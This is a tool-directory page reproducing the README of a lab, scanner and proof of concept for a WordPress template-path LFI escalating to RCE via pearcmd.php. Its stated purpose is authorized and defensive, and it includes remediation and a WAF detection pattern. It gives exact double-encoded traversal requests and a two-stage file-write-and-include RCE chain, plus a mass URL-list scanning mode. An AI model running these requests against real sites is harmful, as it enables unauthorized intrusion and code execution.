Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2026-87902-wordpress-lfi-lab — Reproduction lab + URL-list scanner + PoC for CVE-2026-87902 / GHSA-7hp8-65ch-5whp — WordPress get_page_template() unauthenticated LFI to conditional RCE (WP 4.7.0-7.1.1, fixed 7.1.2). Authorized/defensive testing. | Kitploit
Tools/GitHubGitHub/dinosn/cve-2026-87902-wordpress-lfi-lab
Vulnerability ScannersWeb Vulnerability ScannersVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingLearning & Education
Payload Development
Labs & Practice
GitHubdinosn/cve-2026-87902-wordpress-lfi-lab

cve-2026-87902-wordpress-lfi-lab

Reproduction lab + URL-list scanner + PoC for CVE-2026-87902 / GHSA-7hp8-65ch-5whp — WordPress get_page_template() unauthenticated LFI to conditional RCE (WP 4.7.0-7.1.1, fixed 7.1.2). Authorized/defensive testing.

View Repository
3211h 58m agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-87902 / GHSA-7hp8-65ch-5whp — WordPress get_page_template() unauthenticated LFI → conditional RCE

Reproduction lab + URL-list scanner + PoC, built and validated end-to-end against genuine WordPress 7.1.1 (vulnerable) and 7.1.2 (patched) on the Docker lab.

  • Advisory: https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-7hp8-65ch-5whp
  • Type: CWE-98 improper control of filename for include/require (path traversal → local PHP inclusion)
  • Affected: WordPress 4.7.0 – 7.1.1 (fixed in 7.1.2 and per-branch backports: 7.0.6, 6.9.9, 6.8.10 … down to 4.7.37)
  • Auth: none. CVSS 4.0: 9.2 (AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H)
  • Preconditions: (1) active theme has a top-level directory named page-* (e.g. — present in Twenty Twelve, Twenty Fourteen, Neve, Hestia, Sydney); (2) for RCE only: a readable and .
page-templates/
pearcmd.php
register_argc_argv=On

1. Root cause (verified against 7.1.1 vs 7.1.2 source)

wp-includes/template.php :: get_page_template() builds a template candidate from the attacker-controlled pagename query var without validate_file():

root@kitploit:~
// WordPress 7.1.1 (VULNERABLE)
if ( $pagename ) {
    $pagename_decoded = urldecode( $pagename );
    if ( $pagename_decoded !== $pagename ) {          // <-- no validate_file()
        $templates[] = "page-{$pagename_decoded}.php";
    }
    $templates[] = "page-{$pagename}.php";
}
root@kitploit:~
// WordPress 7.1.2 (PATCHED) — the guard the sibling $template branch already had, + realpath containment
if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) {
    $templates[] = "page-{$pagename_decoded}.php";
}
// plus new _wp_is_template_path_allowed() enforcing the resolved path stays inside a theme root

locate_template() then does file_exists($theme_dir . '/' . $candidate) and includes the hit. Because the candidate is page-{...}.php, the payload must continue a real theme directory that begins with page- (e.g. page-templates/) and then climb out with ../ to any readable .php.

Double-encoding is mandatory. get_query_var('pagename') is already single-decoded by PHP, so a plain ../ makes urldecode($pagename) === $pagename and the vulnerable branch is skipped. A double-encoded %252e%252e%252f survives the first decode as %2e%2e%2f and is turned into ../ only by the extra urldecode() — which is the bug.


2. Lab (lab/)

Genuine releases side-by-side on the Docker host, differing only by the security fix:

ServiceURL (loopback-only)WordPressRole
wp-vulnhttp://127.0.0.1:80917.1.1vulnerable
wp-patchedhttp://127.0.0.1:80927.1.2patched control
db—MySQL 8.4shared (two databases)

Base image wordpress:php8.3-apache (which already ships pearcmd.php and register_argc_argv=On), with the bundled core swapped for the authentic wordpress-7.1.1.zip / 7.1.2.zip. Twenty Fourteen is activated (real page-templates/), and a page-templates/ fixture is also created in the active theme. Published page id = 2 (Sample Page).

root@kitploit:~
# on the docker lab host
cd /tmp/cve-2026-87902-lab
./up.sh        # build + install both instances (idempotent)
./down.sh      # tear down + remove volumes

Ports bind to 127.0.0.1 only — the vulnerable instance is never network-exposed.


3. Scanner / PoC (poc/cve-2026-87902-scan.py)

Python 3, stdlib only (no pip install). Takes a list of URLs and reports which are vulnerable. The default scan is non-destructive: it includes the read-only core file wp-links-opml.php and looks for the resulting OPML document — proof the arbitrary-.php inclusion fired, with no writes and no state change.

root@kitploit:~
# single URL
./cve-2026-87902-scan.py http://target/

# a list of your assets, JSON report, 20 workers
./cve-2026-87902-scan.py -f urls.txt --threads 20 --json report.json

# from stdin, only show vulnerable/possibly rows
cat urls.txt | ./cve-2026-87902-scan.py --stdin -q

How a target is classified

  1. Fingerprint WordPress + version (meta generator → feed <generator> → wp-links-opml.php → readme.html → /wp-includes/ asset ?ver=).
  2. Discover a valid published page id (REST /wp/v2/pages, ?rest_route= fallback, homepage page-id-N, default page_id=2) — needed so the request resolves to a Page and get_page_template() runs.
  3. OPML oracle sweep: for segment × depth (default segment templates, depths 4,3,5,6,7), send page_id=<id>&pagename=<double-encoded ../ → wp-links-opml> (POST, to dodge canonical redirect) and require an HTTP 200 carrying <opml version="1.0"> + a structural secondary marker (</opml> / <outline / <dateCreated>).
  4. Negative control (causation proof): on a hit, re-issue the identical request pointing at a guaranteed-non-existent .php. If OPML still appears, the OPML is ambient (proxy / cache / feed app), not our include → downgraded to POSSIBLY. Only a hit whose control is clean is VULNERABLE.

Robustness: preserves subdirectory paths (http://host/blog), handles gzip/deflate and odd charsets, retries a probe once on transport error, discovers/validates page ids (REST → ?rest_route= → homepage → defaults), enforces a per-target time budget, and never asserts NOT_VULNERABLE from a low-confidence version source (asset ?ver= / readme.html) — those degrade to POSSIBLY.

VerdictMeaning
VULNERABLEOPML oracle fired — LFI confirmed (definitive)
NOT_VULNERABLEpatched branch version, or version outside 4.7.0–7.1.1
POSSIBLY_VULNERABLEvulnerable/unknown version but oracle silent (likely no page-* theme dir, non-standard layout, or no discoverable page id) — verify manually
NOT_WORDPRESS / ERRORno WP indicators / transport failure

Exit code: 2 if any VULNERABLE, 1 if any POSSIBLY (and no VULNERABLE), else 0.

Useful flags: --segments, --depths, --method {POST,GET,both}, --page-id, --max-pageids, --max-time (per-target budget), --timeout, --threads, --proxy, --header, --insecure (TLS off — dev only), --json, --jsonl. For a WordPress-in-subdirectory install, pass the full base (e.g. https://host/blog); for Bedrock/core-in-wp/ the sweep also tries wp/-prefixed oracle targets.

RCE escalation (opt-in, lab use)

root@kitploit:~
./cve-2026-87902-scan.py http://target/ --verify-rce --i-have-authorization --page-id 2

Runs the PEAR pearcmd.php chain: the +-split query string carries config-create argv that writes a quote-free marker .php under /tmp; a second request includes it. Prints the executed marker + php_uname() + uid. Writes a file on the target → single-target, requires --i-have-authorization, off by default.


4. Evidence (evidence/)

FileWhat it proves
manual-validate.sh / ev-lfi.logOPML oracle fires on 7.1.1 (depth 4, POST and GET), silent on 7.1.2; only depth 4 works; single-encoding fails
rce-validate.sh / ev-rce.logfull PEAR RCE on 7.1.1 (uid=33 as www-data, depth 7); patched writes no file, executes nothing
ev-scan-table.log / ev-scan-results.jsonscanner over {vuln, patched, non-WP, dead}: VULNERABLE / NOT_VULNERABLE / NOT_WORDPRESS / ERROR

Proven request shapes:

root@kitploit:~
LFI (detection, non-destructive):
  POST /?page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fwp-links-opml
  -> 200 with <opml version="1.0"> in the body   (depth 4 = webroot on /var/www/html)

RCE (conditional; register_argc_argv=On + readable pearcmd.php):
  Stage 1  POST /?+config-create+/<?=...chr()-built payload...?>+/tmp/x.php
           body: page_id=2&pagename=templates%252f(%252e%252e%252f x7)usr%252flocal%252flib%252fphp%252fpearcmd
  Stage 2  POST /?page_id=2&pagename=templates%252f(%252e%252e%252f x7)tmp%252fx
           -> body contains the executed marker + php_uname() + uid=33

5. Remediation

  • Update WordPress to 7.1.2 (or the fixed release for your branch: 7.0.6, 6.9.9, 6.8.10, … 4.7.37).
  • Defense-in-depth: set PHP register_argc_argv=Off for the web SAPI and remove/deny pearcmd.php; this removes the RCE escalation even if the LFI is reachable.
  • Detection/WAF: after fully URL-decoding parameter keys and values (and duplicate params), block any pagename containing ..; the co-occurrence of page_id + a pagename beginning templates%252f / containing %252e%252e on the site root or /index.php is a near-certain exploit signal.

Authorized security testing, education, and defensive research only.

Download Tool